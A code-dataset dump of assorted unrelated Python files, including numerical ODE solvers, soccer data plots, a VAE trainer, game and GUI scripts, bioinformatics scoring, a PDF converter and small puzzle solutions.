specified')\n\n\n if method == 'euler':\n self.euler(h, interval)\n elif method == 'modified-euler':\n self.modified_euler(h, interval)\n elif method == 'adaptive-euler':\n self.adaptive_euler(interval, tol)\n elif method == 'runge-kutta-4':\n self.runge_kutta(h, interval)\n elif method == 'adam-bashforth-2':\n self.adam_bashforth_2(h, interval)\n elif method == 'adam-bashforth-3':\n self.adam_bashforth_3(h, interval)\n elif method == 'adam-bashforth-4':\n self.adam_bashforth_4(h, interval)\n elif method == 'milne-pc':\n self.milne_pred_correct(h, interval)\n elif method == 'adam-bashforth-pc':\n self.adam_pred_correct(h, interval)\n elif method == 'adam-milne-pc':\n self.adam_milne_pred_correct(h, interval, tol)\n else:\n raise Exception(f'Method `{method}` not implemented')\n\n def solve_bvp(self, h):\n \"\"\"\n Solve the given BVP using h as step size\n \"\"\"\n xs = np.arange(self.x0, self.xn+h, h)\n n = len(xs)\n A = np.zeros((n,n))\n b = np.zeros((n,1))\n\n A[0,0], A[0,1] = -1/h - self.y_coeff[1], 1/h\n b[0] = self.y_coeff[0]*xs[0] + self.y_coeff[2]\n\n for i in range(1,n-1):\n A[i,i-1], A[i,i], A[i,i+1] = -0.5/h, -self.y_coeff[1], 0.5/h\n b[i] = self.y_coeff[0]*xs[i] + self.y_coeff[2]\n\n A[-1,0], A[-1,-1], b[-1] = self.b[0], self.b[1], self.b[2]\n\n lineq = Solver(A,b)\n ans = lineq.gauss_elim().T[0].tolist()\n\n self.ans = [ { 'x': xs[i], 'y': ans[i] } for i in range(len(xs)) ]\n\n def visualize(self, exact_sol=None):\n x = [val['x'] for val in self.ans]\n y = [val['y'] for val in self.ans]\n\n x,y = (list(t) for t in zip(*sorted(zip(x,y))))\n plt.plot(x, y, c='b', zorder=2, label='approximate solution')\n plt.scatter(x, y, c='r', zorder=3)\n if exact_sol:\n ys = [exact_sol(x_) for x_ in x]\n plt.plot(x, ys, c='y', zorder=2, label='exact solution')\n plt.scatter(x, ys, c='k', zorder=3)\n if self.type == 'ivp':\n plt.scatter(self.x0, self.y0, c='k', zorder=3)\n plt.legend(loc=\"upper left\")\n plt.show()\n","sub_path":"utils/de.py","file_name":"de.py","file_ext":"py","file_size_in_byte":11763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"369949713","text":"\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.plotly as py\nimport plotly.graph_objs as go \nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\nimport cufflinks as cf\ninit_notebook_mode(connected=True)\ncf.go_offline()\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[6]:\n\n\ndata = pd.read_csv(\"../Source/results.csv\")\n\n\n# In[7]:\n\n\ndef result(row):\n \n if row['home_score'] > row['away_score']:\n return row['home_team']\n elif row['home_score'] < row['away_score']:\n return row['away_team']\n else:\n return('Tie')\n\n\n# In[8]:\n\n\ndata['results'] = data[['home_score','away_score','home_team','away_team']].apply(result,axis=1)\ndata.head(2)\n\n\n# In[9]:\n\n\ndata['date'] = pd.to_datetime(data['date'])\ntime = data['date'].iloc[0]\ntime.year\n\n\n# In[10]:\n\n\ndata['month'] = data['date'].apply(lambda time: time.month)\ndata['year'] = data['date'].apply(lambda time: time.year)\n\n\n# In[11]:\n\n\ndata['month'] = data['month'].map({1:'Jan', 2:'Feb', 3:'Mar', 4:'Apr', 5:'May', 6:'Jun', 7:'Jul', 8:'Aug', 9:'Sep', \n 10:'Oct', 11:'Nov', 12:'Dec'})\n\n\n# In[12]:\n\n\nmatch_count = data['year'].value_counts()\nmatch_count.head(2)\n\n\n# In[13]:\n\n\nplt.figure(figsize=(20,8))\nsns.lineplot(match_count.index, match_count.values, color='red', lw=2)\nplt.title('Number of international soccer games', fontsize=20)\nplt.ylabel('No of matches', fontsize=12)\nplt.xlabel('Year', fontsize=12)\n\n\n# In[14]:\n\n\nplt.figure(figsize=(20,8))\nsns.countplot(x='results',data=data, order =data['results'].value_counts()[1:20].index)\nplt.title('Top 20 Countries with most wins', fontsize=20)\nplt.ylabel('No of wins', fontsize=12)\nplt.xlabel('Country', fontsize=12)\n\n\n# In[15]:\n\n\nbrazil = data[data['results']=='Brazil']['city'].value_counts()[:20]\nplt.figure(figsize=(18,10))\nsns.barplot(brazil.values,brazil.index,palette='autumn')\nplt.title(\"Favourite grounds for Brazil when they win\", fontsize=20)\nplt.ylabel('City', fontsize=12)\nplt.xlabel('No of times won', fontsize=12)\n\n\n# In[16]:\n\n\ntour = data['tournament'].value_counts()\ndata1 = dict(\n values = tour.values[:20],\n labels = tour.index[:20],\n domain = {\"x\": [0, .5]},\n hoverinfo = \"label+percent+name\",\n type = \"pie\")\nlayout1 = dict(\n title = \"Top 20 most played Leagues\",\n )\nfig = go.Fi\n\n\n# In[17]:\n\n\ntotal_scores = data[['home_score','away_score','country','month','year']]\ntotal_scores['total_score'] = total_scores['home_score'] + total_scores['away_score']\ntotal_scores.head()\n\n\n# In[18]:\n\n\nplt.figure(figsize=(25,10))\ndj = total_scores.pivot_table(index='month',columns='year',values='total_score')\nsns.heatmap(dj,cmap='cividis_r',linecolor='white', lw = 0.2)\nplt.title('Goals scored across each month and year', fontsize=20)\nplt.ylabel('Years', fontsize=12)\nplt.xlabel('Months', fontsize=12)\n\n\n# In[26]:\n\n\ncountry_grouped = total_scores.groupby('country').sum().sort_values('total_score',ascending=False)[:30]\nax = plt.figure(figsize=(15,14))\nsns.barplot(x=\"total_score\", y=country_grouped.index, data=country_grouped, color ='yellow', label=\"Total_score\")\nsns.barplot(x=\"home_score\", y=country_grouped.index, data=country_grouped, color = 'green', label=\"Home_score\")\nax.legend(ncol=2, loc=\"upper right\", frameon=True)\nplt.title(\"Total & Home goals scored in the country's History\", fontsize=20)\nplt.ylabel('Country', fontsize=12)\nplt.xlabel('No of goals', fontsize=12)\n\n\n# In[22]:\n\n\naaa= data['home_team'].value_counts()\nbbb = data['away_team'].value_counts()\nteam_matches = pd.concat([aaa,bbb],axis=1)\n\nteam_matches.columns = ['home_matches','away_matches']\nteam_matches['total_matches'] = team_matches['home_matches'] + team_matches['away_matches']\nteam_matches_sort = team_matches.sort_values('total_matches',ascending=False)\n\n\n# In[98]:\n\n\nteam_matches_sort.iplot(kind='scatter',title='Number of matches played', xTitle='Country', yTitle='No of matches',theme='pearl')\n\n\n# In[94]:\n\n\ntotal_teams = data[['country','year']]\n# total_teams['total_teams'] = total_teams['country'].sum()\n# total_teams.head()\ntt=total_teams.groupby(['year','country']).sum()\n# for i in tt.index:\n# print(i,tt.index[i])\n# print(tt.country[i].sum())\n# data.loc[data['year']==str(i),'country'].agg(['nunique'])\n# tt.country\ndf = data.groupby('year')['country'].nunique()\ncountry_count=[]\nyear = list(df.index)\nfor i in df:\n country_count.append(i)\nprint(year)\n\n\n# In[97]:\n\n\ndf = pd.DataFrame(list(zip(year, country_count)), \n columns =['year', 'country']) \nplt.figure(figsize=(20,8))\nsns.lineplot(df.year, df.country, color='blue', lw=2)\nplt.title('Number of international soccer teams', fontsize=20)\nplt.ylabel('No of teams', fontsize=12)\nplt.xlabel('Year', fontsize=12)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Source/Initial_viz.py","file_name":"Initial_viz.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"227951357","text":"#!/usr/bin/python \n# ******************************************************\n# Author : CoffreLv\n# Last modified: 2019-04-25 08:17\n# Email : coffrelv@163.com\n# Filename : Find_error_wav.py\n# Description : 找到格式不正确的wav,并移动到固定目录\n# ******************************************************\n\nimport sys\nimport wave\nimport os\n\nfilepath = sys.argv[1]\n\ndef Get_wav_params_and_compare(filepath):\n filenamelist = []\n for parent, dirname , filenames in os.walk(filepath, topdown = True):\n for filename in filenames:\n if not filename.endswith('.wav'):\n continue\n else:\n file_path = os.path.join(parent, filename)\n filenamelist.append(file_path)\n filenamelist.sort()\n num = 1\n for i in filenamelist:\n f = wave.open(i , 'r')\n if f.getnframes() < 40000:\n print(i[:-3])\n #os.system('mv ' + i[:-3] + '* ~/coffre/data/Mon_zero')\n os.system('mv ' + i[:-3] + '* ~/coffre/data/Mon_short')\n #os.system('mv ' + i[:-3] + '* ~/coffre/data/Mon_long')\n f.close()\n\nif __name__ == '__main__':\n Get_wav_params_and_compare(filepath)\n","sub_path":"Python/Tools/src/find_error_wav.py","file_name":"find_error_wav.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"251065651","text":"# Time Complexity : O(2^N)\n# Space Complexity : O(2^N)\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n\nclass Solution:\n def __init__(self):\n self.result = []\n def addOperators(self, num: str, target: int) -> List[str]:\n self.helper(num,target,[],0,0,0)\n return self.result\n\n\n def helper(self,num,target,path,index,calc,tail):\n if index == len(num):\n if calc == target:\n self.result.append(\"\".join(path))\n return\n for i in range(index,len(num)):\n if num[index] == \"0\" and index != i:\n break\n\n curr = int(num[index:i+1])\n if index == 0:\n path.append(num[index:i+1])\n self.helper(num,target,path,i+1,curr,curr)\n path.pop()\n else:\n #+ \n path.append(\"+\")\n path.append(num[index:i+1])\n self.helper(num,target,path,i+1,calc+curr,curr)\n path.pop()\n path.pop()\n #-\n path.append(\"-\")\n path.append(num[index:i+1])\n self.helper(num,target,path,i+1,calc-curr,-curr)\n path.pop()\n path.pop()\n #* \n path.append(\"*\")\n path.append(num[index:i+1])\n self.helper(num,target,path,i+1,calc-tail + tail*curr,tail*curr)\n path.pop()\n path.pop()\n","sub_path":"expAddOperator.py","file_name":"expAddOperator.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"444073247","text":"from .Controlador import *\nfrom .Base import Base\nimport pygame\n\ndef Acciones(reloj, MegaMan, FPS, frames_totales, segundos):\n\n Controlador.set_fps(reloj, FPS)\n Controlador.buscar_eventos(MegaMan)\n\n teclas = pygame.key.get_pressed()\n\n if teclas[pygame.K_d] or teclas[pygame.K_RIGHT]:\n MegaMan.Mov_Derecha(15, frames_totales)\n\n elif teclas[pygame.K_a] or teclas[pygame.K_LEFT]:\n MegaMan.mover_izquierda(15, frames_totales)\n\n if teclas[pygame.K_w] or teclas[pygame.K_UP] and MegaMan.salto is False:\n MegaMan.activar_salto()\n\n if segundos == 5:\n Controlador.Spawnear_Enemigo()\n\n if segundos > 5:\n Controlador.Mover_Enemigo(Base.Enemigos)\n\n Controlador.salto_MegaMan(MegaMan)\n Controlador.colisiones(MegaMan)\n Controlador.Mover_Bala(Base.Balas)\n","sub_path":"MegaMan_Expo/Clases/Acciones.py","file_name":"Acciones.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"159519462","text":"import torch\r\nimport torch.nn as nn\r\nfrom torch.optim import Adam\r\nfrom torchvision.utils import save_image\r\n\r\nimport os\r\n\r\nfrom model import VAE\r\nfrom vis_tool import Visualizer\r\n\r\nclass Trainer(object):\r\n def __init__(self, train_loader, test_loader, config):\r\n self.train_loader = train_loader\r\n self.test_loader = test_loader\r\n self.config = config\r\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n self.num_epochs = config.num_epochs\r\n self.lr = config.lr\r\n\r\n self.in_channel = config.in_channel\r\n self.image_size = config.image_size\r\n self.hidden_dim = config.hidden_dim\r\n self.output_dim = config.output_dim\r\n\r\n self.log_interval = config.log_interval\r\n self.sample_interval = config.sample_interval\r\n self.ckpt_interval = config.ckpt_interval\r\n\r\n self.sample_folder = config.sample_folder\r\n self.ckpt_folder = config.ckpt_folder\r\n\r\n self.build_net()\r\n self.vis = Visualizer()\r\n\r\n def build_net(self):\r\n # define network\r\n self.net = VAE(self.in_channel, self.image_size, self.hidden_dim, self.output_dim)\r\n\r\n if self.config.mode == 'test' and self.config.training_path == '':\r\n print(\"[*] Enter model path!\")\r\n exit()\r\n\r\n # if training model exists\r\n if self.config.training_path != '':\r\n self.net.load_state_dict(torch.load(self.config.training_path, map_location=lambda storage, loc: storage))\r\n print(\"[*] Load weight from {}!\".format(self.config.training_path))\r\n\r\n self.net.to(self.device)\r\n\r\n # define loss function\r\n def loss_function(self, recon_x, x, mu, logvar):\r\n criterion = nn.MSELoss(reduction='sum').to(self.device)\r\n bce = criterion(recon_x, x.view(-1, self.in_channel*(self.image_size**2)))\r\n kld = -0.5 * torch.sum(1 + logvar-mu**2 - logvar.exp())\r\n return bce + kld\r\n\r\n def train(self):\r\n # define optimizer\r\n optimizer = Adam(self.net.parameters(), self.lr)\r\n\r\n step = 0\r\n print(\"[*] Learning started!\")\r\n\r\n # get fixed sample\r\n temp_iter = iter(self.train_loader)\r\n fixed_imgs, _ = next(temp_iter)\r\n fixed_imgs = fixed_imgs.to(self.device)\r\n\r\n # save fixed sample image\r\n x_path = os.path.join(self.sample_folder, 'fixed_input.png')\r\n save_image(fixed_imgs, x_path, normalize=True)\r\n print(\"[*] Save fixed input image!\")\r\n\r\n # flatten\r\n fixed_imgs = fixed_imgs.view(fixed_imgs.size(0), -1)\r\n\r\n for epoch in range(self.num_epochs):\r\n for i, (imgs, _) in enumerate(self.train_loader):\r\n self.net.train()\r\n imgs = imgs.view(imgs.size(0), -1)\r\n imgs = imgs.to(self.device)\r\n\r\n # forwarding and compute loss\r\n recon, mu, logvar = self.net(imgs)\r\n\r\n # testing code\r\n # print(\"reconstructed:\", recon.shape)\r\n # print(\"original:\", imgs.shape)\r\n\r\n loss = self.loss_function(recon, imgs, mu, logvar)\r\n\r\n # backwarding\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # do logging\r\n if (step+1) % self.log_interval == 0:\r\n print(\"[{}/{}] [{}/{}] Loss:{:3f}\".format(\r\n epoch+1, self.num_epochs, i+1, len(self.train_loader), loss.item()/len(imgs))\r\n )\r\n self.vis.plot(\"loss plot\", loss.item()/len(imgs))\r\n\r\n # do sampling\r\n if (step+1) % self.sample_interval == 0:\r\n recon, mu, logvar = self.net(fixed_imgs)\r\n recon = recon.view(-1, self.in_channel, self.image_size, self.image_size)\r\n x_hat_path = os.path.join(self.sample_folder, 'output_epoch{}.png'.format(epoch+1))\r\n save_image(recon, x_hat_path, normalize=True)\r\n print(\"[*] Save sample images!\")\r\n\r\n step += 1\r\n\r\n if (epoch+1) % self.ckpt_interval == 0:\r\n ckpt_path = os.path.join(self.ckpt_folder, 'ckpt_epoch{}.pth'.format(epoch+1))\r\n torch.save(self.net.state_dict(), ckpt_path)\r\n print(\"[*] Checkpoint saved!\")\r\n\r\n print(\"[*] Learning finished!\")\r\n ckpt_path = os.path.join(self.ckpt_folder, 'final_model.pth')\r\n torch.save(self.net.state_dict(), ckpt_path)\r\n print(\"[*] Final weight saved!\")","sub_path":"VAE/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411566810","text":"import pyautogui as pg\r\nimport time\r\n\r\npg.FAILSAFE = True\r\n\r\n########\r\n# MAIN #\r\n########\r\n\r\nlatence = 3\r\n\r\nfor i in range(latence):\r\n print(latence-i)\r\n time.sleep(1)\r\n\r\nwith open(\"La tirade du nez, Cyrano de Bergerac.txt\", 'r') as tirade:\r\n lines = tirade.readlines()\r\n for attribute in lines:\r\n num = attribute.split()\r\n for i in num:\r\n pg.write(i)\r\n pg.press(\"space\")","sub_path":"BOT_10fastfingers.py","file_name":"BOT_10fastfingers.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278433134","text":"# Анимация\nfrom tkinter import *\n\n# Режим и текст\nWidth, Height = 600, 400\nx, y = 120, 160\nMode = [\"Появление\", \"Движение\", \"Сокрытие\"]\n\n# Класс Player\nclass Player :\n Picture = [0]\n def __init__(self, Graphic) :\n for Nr in range(1,9) :\n Name = \"Figure0\"+str(Nr)+\".gif\"\n self.Picture.append(PhotoImage(file=\"Bilder/\"+Name))\n def showImage(self) :\n self.Figure = Graphic.create_image(x, y, image=self.Picture[1]) \n def moveImage(self) :\n for pos in range(20,Width-200,2) :\n Graphic.move(self.Figure, 2, 0)\n Graphic.update()\n Graphic.after(10) \n def hideImage(self) :\n Graphic.delete(self.Figure)\n\n# Основная программа\nWindow = Tk()\nWindow.title(\"Анимация\")\nWindow.config(width=Width, height=Height)\nGraphic = Canvas(Window, width=Width, height=Height)\nGraphic.pack()\n# Игровой персонаж\nGameer = Player(Graphic)\n# Управление\nButton = []\nfor Nr in range(0,3) :\n Button.append(Button(Window, text=Mode[Nr]))\n Button[Nr].place(x=80+Nr*150, y=Height-50, width=140, height=30)\nButton[0].config(command=Gameer.showImage)\nButton[1].config(command=Gameer.moveImage)\nButton[2].config(command=Gameer.hideImage)\nWindow.mainloop()\n\n\n","sub_path":"python_for_kids/book/Projects/movie3.py","file_name":"movie3.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"501673309","text":"###########################################################################\r\n### curate.RNASeq.py ###\r\n###########################################################################\r\n\r\nproj_path = 'D:/projects/DLCell'\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport re\r\nimport sys\r\nsys.path.append(os.path.join(proj_path, 'code'))\r\nfrom utility import utility as util\r\n\r\n\r\nrnaseq_path = os.path.join(proj_path, 'data/UTSW_MW/Cell.Line.RNASeq.txt')\r\ngeneanno_path = os.path.join(proj_path, 'data/curated/cancer.gene.anno.csv')\r\nout_path = os.path.join(proj_path, 'data/curated/Lung/utsw.mw/lung_RNAseq_cancergene.csv')\r\n\r\n\r\n############################ main ################################\r\n# read cancer gene list\r\ncancer_genes = pd.read_csv(geneanno_path, usecols=['Gene'], squeeze=True)\r\n\r\n# read rnaseq data\r\nrnaseq = pd.read_table(rnaseq_path, sep='\\t')\r\nrnaseq.drop(['ENTREZGENEID'], axis=1, inplace=True)\r\nrnaseq = rnaseq.loc[rnaseq['SYMBOL'].isin(cancer_genes),:]\r\nrnaseq.set_index('SYMBOL', inplace=True)\r\nrnaseq.index.name = None\r\nrnaseq.sort_index(inplace=True)\r\nrnaseq = rnaseq.transpose()\r\nrnaseq.index = rnaseq.index.to_series().apply(util.cleanCellLine)\r\nrnaseq.sort_index(inplace=True)\r\nrnaseq.to_csv(out_path)","sub_path":"code/preprocess/curate.mw/curate.RNASeq.py","file_name":"curate.RNASeq.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"495032869","text":"#!/usr/bin/python3\n\ndef asciiLetters(value) :\n nbr = 0\n nbr2 = 0 \n for i in value :\n print(\"Lettre : \", i,\" = \",ord(i))\n nbr += ord(i)\n print(nbr)\n\n return nbr\n\ndef asciiLetters2(value) :\n nbr2 = 0\n for i in value :\n if nbr2 == 0:\n nbr2 = ord(i)\n else :\n print(\"nbr2 : \", nbr2 + ord(i))\n nbr2 += ord(i) + nbr2\n \n print(nbr2)\n\n return nbr2\n\nasciiLetters(\"network\")\nprint(\"----------------------------------------------\")\nasciiLetters2(\"network\")\n","sub_path":"somme.py","file_name":"somme.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87192580","text":"import os\nimport pyrosetta as pr\nfrom pyrosetta.toolbox import cleanATOM\nimport concurrent.futures \npr.init()\n\ndef eTerms(pose):\n \"\"\"Calclulate energy terms for pose\"\"\"\n\n energy = {}\n for scoretype in scorefxn.get_nonzero_weighted_scoretypes():\n energy[str(scoretype).split('.')[1]] = pose.energies().total_energies()[scoretype]\n\n return energy\n\n\ndef getScore(path):\n \"\"\"Calculate pyRosetta score\"\"\"\n # Clean PDB files\n cleanATOM(path)\n # Clean struct name\n cleanName = path[0:-3]+'clean'+'.pdb'\n\n pose = pr.pose_from_pdb(cleanName)\n\n tmp = scorefxn(pose)\n energy = eTerms(pose)\n energy['ref15'] = tmp\n\n os.remove(cleanName)\n \n return energy\n\n\ndef writeLine(fileName,seq,aclass,model,energy):\n \"\"\"Write restults to csv file\"\"\"\n\n \n print(\"%s,%s,%i,%f,%f,%f,%f,%f,%f,%f,%f,%f,%f,%f,%f,%f,%f\" %\n (seq,aclass,model,energy['ref15'],energy['fa_atr'],\n energy['fa_rep'],energy['fa_sol'],energy['fa_intra_rep'],\n energy['fa_intra_sol_xover4'],energy['lk_ball_wtd'],\n energy['fa_elec'],energy['omega'],energy['fa_dun'],\n energy['p_aa_pp'],energy['yhh_planarity'],\n energy['ref'],energy['rama_prepro']), file=fileName)\n\n\ndef score_structures(struct, path, seq, f):\n if struct.endswith(\".pdb\") and struct.startswith(\"sequence\"):\n \n sFile = struct\n modelNum = int(struct.split('.')[1][-3:])\n\n os.chdir(path)\n\n energy = getScore(struct)\n\n writeLine(f,seq,classDir[-1],modelNum,energy)\n\n os.chdir('../../')\n\n\nif __name__ == '__main__':\n\n scorefxn = pr.get_fa_scorefxn()\n\n f = open(\"pyrosetta.csv\",'w')\n\n print(\"seq,class,model,ref15,fa_atr,fa_rep,fa_sol,fa_intra_rep,fa_intra_sol_xover4,lk_ball_wtd,fa_elec,omega,fa_dun,p_aa_pp,yhh_planarity,ref,rama_prepro\",file = f)\n\n ### Loop over files in results directories ###\n for seq in os.listdir('.'):\n if os.path.isdir(seq) and not seq[0] == '.':\n print(seq)\n\n for classDir in os.listdir(seq):\n print(classDir)\n\n path = seq+'/'+classDir\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n for struct in os.listdir(path):\n future = executor.submit(score_structures, struct, path, seq, f)\n \"\"\"\n if struct.endswith(\".pdb\") and struct.startswith(\"sequence\"):\n \n sFile = struct\n modelNum = int(struct.split('.')[1][-3:])\n\n os.chdir(path)\n\n energy = getScore(struct)\n\n writeLine(f,seq,classDir[-1],modelNum,energy)\n\n os.chdir('../../')\n \"\"\"\n\n f.close()\n\n\"\"\"\n scorefxn = pr.get_fa_scorefxn()\n \n f = open(\"pyrosetta.csv\",'w')\n\n path = \"sequence.B99990001.pdb\"\n\n energy = getScore(path)\n\n modelNum = int(path.split('.')[1][-3:])\n\n print(\"seq,class,model,ref15,fa_atr,fa_rep,fa_sol,fa_intra_rep,fa_intra_sol_xover4,lk_ball_wtd,fa_elec,omega,fa_dun,p_aa_pp,yhh_planarity,ref,rama_prepro\",file = f)\n \n writeLine(f,'SEQ','aclass',1,energy)\n f.close()\n\"\"\"\n","sub_path":"scripts/score2.py","file_name":"score2.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176874710","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom tqdm import tqdm\nfrom dataclasses import dataclass, field\nfrom typing import NoReturn, Text, MutableSet, Callable\n\nif sys.version_info > (3, 0):\n from io import StringIO\nelse:\n from io import BytesIO as StringIO\n\nfrom pdfminer.layout import LAParams\nfrom pdfminer.pdfpage import PDFPage\nfrom pdfminer.converter import TextConverter\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\n\nfrom tools.os import OS\n\n@dataclass(init=True, repr=True)\nclass ConverterPDF(OS):\n logger: Callable = field(init=True, repr=False)\n\n def _get_pages_data_pdf_miner(self, pdf_file: Text, pagenums: MutableSet) -> PDFPage.get_pages:\n try:\n self.logger.info(f\"Getting pages data from {pdf_file} based in PDF miner...\")\n return PDFPage.get_pages(pdf_file, pagenums, maxpages=0, password=\"\", caching=True, check_extractable=False)\n except Exception as error:\n self.logger.error(f\"Error general exception in get pages from {pdf_file} based in PDF miner - {error}...\")\n\n def convert(self, pdf_file: Text) -> NoReturn:\n try:\n encoding, txt_file, output, pagenums = \"utf-8\", pdf_file.replace(\".pdf\", \".txt\"), StringIO(), set()\n self.logger.info(f\"1 - Convert {pdf_file} to a TXT file.\")\n if not self.check_if_is_file(txt_file) or self.check_if_file_is_empty(txt_file):\n self.logger.info(f\"2 - Create TXT file {txt_file}.\")\n with open(txt_file, \"w\"): pass\n rsrcmgr, laparams = PDFResourceManager(), LAParams(all_texts=False)\n text_converter = TextConverter(rsrcmgr, output, codec=encoding, laparams=laparams)\n interpreter = PDFPageInterpreter(rsrcmgr, text_converter)\n pdf_file = open(pdf_file, \"rb\")\n pages_data = self._get_pages_data_pdf_miner(pdf_file, pagenums)\n pbar = tqdm(pages_data)\n for value, page in enumerate(pbar):\n interpreter.process_page(page)\n pbar.set_description(f\"Doing Interpreter Page - {value}.\")\n pdf_file.close()\n text = output.getvalue()\n text_converter.close()\n output.close()\n self.logger.info(f\"3 - Write the information in {txt_file}.\")\n with open(txt_file, \"w\") as file:\n file.write(text)\n else:\n self.logger.warning(f\"The file {txt_file} alredy exist and isn't empty...\")\n except Exception as error:\n self.logger.error(f\"Error general exception in convert the information from {pdf_file} - PDF to TXT - {error}...\")\n","sub_path":"code/core/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"106101783","text":"from dragonfly import *\nimport Base\nimport inspect\n\ncontext = AppContext(executable=\"python\" , title=\"AciCompiler ~~\" )\ngrammar = Base.ContinuousGrammar(\"AciCompiler grammar\", context=context)\n\n#decorator\ndef GrammarRule(rule):\n if inspect.isclass(rule):\n if issubclass(rule, Base.BaseQuickRules):\n rule(grammar)\n else:\n grammar.add_rule(rule())\n else:\n grammar.add_rule(rule)\n\n@GrammarRule\nclass AciCompilerShortcutsRule(Base.QuickContinuousRules):\n mapping = {\n \"hot word\": Key(\"a-h\"),\n \"skip word\": Key(\"a-k\"),\n \"save words\": Key(\"a-s\"),\n \"add [new] words\": Key(\"a-a\"),\n \"order\": Key(\"a-v, o\"),\n \"work file\": Key(\"a-v, w\"),\n \"plat map\": Key(\"a-v, p\"),\n \"import notes\": Key(\"a-v, i\"),\n \"realist [records]\": Key(\"a-v, r\"),\n \"(questions|comments)\": Key(\"a-v, q\"),\n \"hours\": Key(\"a-v, h\"),\n \"report\": Key(\"a-v, d\"),\n }\n\ngrammar.load()\n\ndef unload():\n global grammar\n if grammar:\n grammar.unload()\n grammar = None","sub_path":"_AciCompiler.py","file_name":"_AciCompiler.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"636329986","text":"#!/usr/bin/env python3\n\n# https://adventofcode.com/2020/day/10\n\nimport os\nimport sys\n\nwith open(os.path.join(sys.path[0], \"input.txt\"), \"r\") as file:\n lines = [int(line.rstrip(\"\\n\")) for line in file]\n lines.append(max(lines) + 3)\n\n\ndef get_output_1(adapters):\n effective = 0\n t, o = (0, 0)\n while adapters:\n if effective + 1 in adapters:\n effective += 1\n o += 1\n elif effective + 3 in adapters:\n effective += 3\n t += 1\n adapters.remove(effective)\n\n print(t * o)\n\n\ndef get_output_2(adapters):\n adapters.append(0)\n adapters.sort()\n\n paths = [0] * (max(adapters) + 1)\n paths[0] = 1\n\n for i in range(1, max(adapters) + 1):\n for j in range(1, 4):\n if i - j in adapters:\n paths[i] += paths[i - j]\n\n print(paths[-1])\n\n\nget_output_1(lines.copy())\nget_output_2(lines.copy())\n","sub_path":"10_adapter-array/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"192792975","text":"class Solution:\n def longestSubarray(self, nums: List[int]) -> int:\n n = len(nums)\n # Return len(nums) - 1 when all of the numbers in nums are all 1\n if nums.count(1) == n:\n return n - 1\n \n dp = [[0] * n for _ in range(2)]\n if nums[0] == 1:\n dp[0][0] = 1\n dp[1][0] = 1\n \n for i in range(1, n):\n if nums[i] == 1:\n dp[0][i] = dp[0][i-1] + 1\n dp[1][i] = dp[1][i-1] + 1\n else:\n dp[0][i] = 0\n dp[1][i] = dp[0][i-1]\n \n return max(dp[1])","sub_path":"1493. Longest Subarray of 1's After Deleting One Element/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"442051848","text":"from trades import get_revenue\n\ndef test_get_revenue_previouse_balance_gt_0():\n \"\"\" \n provide a balance and previous balance greater than 0.00 and expect to \n get back a decimal number. \n \"\"\"\n\n balance = 10.00\n previous_balance = 8.00\n expected_revenue = 2.00\n\n revenue = get_revenue(balance, previous_balance)\n\n assert revenue == expected_revenue\n\n\ndef test_get_revenue_previouse_balance_eq_0():\n \"\"\" \n provide a balance and previous balance of 0.00 and expect to get back a \n the revenue 0.00 . \n \"\"\"\n\n balance = 10.00\n previous_balance = 0.00\n expected_revenue = 0.00\n\n revenue = get_revenue(balance, previous_balance)\n\n assert revenue == expected_revenue\n\n","sub_path":"tests/test_trade.py","file_name":"test_trade.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"169211369","text":"\n\nimport numpy\nimport pandas\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom keras.utils import np_utils\nfrom 